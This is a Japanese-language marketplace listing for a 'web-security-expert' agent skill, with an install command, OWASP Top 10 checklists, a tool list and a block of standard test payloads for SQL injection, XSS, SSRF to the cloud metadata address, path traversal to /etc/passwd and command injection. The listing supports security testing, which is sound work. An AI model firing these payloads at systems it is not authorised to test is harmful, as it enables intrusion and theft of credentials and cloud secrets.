mcpField
W
web-security-expert

web-security-expert

github.com/duck4nhセキュリティ15138 回インストール37 週間前に更新
リポジトリ

web-security-expert について

web-security-expertは、認証、認可、入力検証を確認する開発者やセキュリティ担当者向けのWebセキュリティテスト資料です。OWASP Top 10のテスト指針、チェックリスト、ペイロード例、関連ツールをまとめています。

主な機能

  1. 01OWASP Top 10のテスト資料
  2. 02認証チェックリスト
  3. 03認可の脆弱性チェック
  4. 04入力検証のテスト項目
  5. 05一般的なセキュリティテストツール一覧

活用シーン

  1. 01Webアプリの認証上の弱点を確認
  2. 02エンドポイントのアクセス制御不備をテスト
  3. 03インジェクションやXSSへの防御を検証
  4. 04プロキシ、スキャン、ファジングツールを選定

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/duck4nh/antigravity-kit --skill web-security-expert

インストール後、Claude Code で/web-security-expertを入力して読み込まれたか確認します。

詳細

Web Security Expert

OWASP Top 10 クイックリファレンス

脆弱性テストペイロードの例
SQLi'、"、1 OR 1=1' UNION SELECT null,username,password FROM users--
XSS<script>、イベントハンドラー<img src=x onerror=alert(1)>
SSRF内部 URLhttp://127.0.0.1、http://169.254.169.254
IDORID を変更/api/user/123 → /api/user/124
LFIパストラバーサル../../../etc/passwd
RCEコマンド文字; id、`

テストチェックリスト

認証
  • ブルートフォース攻撃の防止
  • パスワードリセットの不備
  • セッション固定化
  • JWT の脆弱性
認可
  • すべてのエンドポイントでの IDOR
  • 権限昇格
  • 関数レベルのアクセス制御の欠如
入力検証
  • すべてのパラメーターでの SQLi
  • 反射型／格納型 XSS
  • コマンドインジェクション
  • ファイルアップロードのバイパス

クイックペイロード

# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--

# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/

# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

ツール

目的ツール
プロキシBurp Suite、OWASP ZAP
SQLisqlmap
XSSXSStrike、dalfox
ファジングffuf、wfuzz

コメント

Markdown 対応